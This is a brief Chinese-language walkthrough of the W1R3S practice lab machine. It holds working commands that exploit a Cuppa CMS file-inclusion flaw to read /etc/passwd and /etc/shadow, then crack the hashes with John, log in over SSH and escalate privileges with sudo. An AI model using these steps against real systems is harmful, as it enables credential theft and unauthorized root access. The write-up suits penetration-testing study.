w1r3s靶机

1.信息收集

开放了四个端口分别是21、22、80、3306

目录扫描

访问web服务，拼接扫描出来的目录/administrator/，点击next，发现cuppa cms

搜索历史漏洞

searchsploit -m php/webapps/25971.txt

http://192.168.219.138/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd 没东西

curl -s --data-urlencode urlConfig=../../../../../../../../../etc/passwd http://192.168.219.138/administrator/alerts/alertConfigField.php

远程下载

发现了w1r3s用户，尝试能不能获得密码

curl -s --data-urlencode urlConfig=../../../../../../../../../etc/shadow http://192.168.219.138/administrator/alerts/alertConfigField.php

使用john破解，保存到txt文件

john password.txt

ftp尝试匿名登录

anonymous，密码为空

2.gets hell

ssh远程连接，只有w1r3s可以登录

ssh w1r3s@192.168.219.138

3.提权

sudo -l

echo '/bin/bash' >> root.sh

chmod +x root.sh

sudo ./root.sh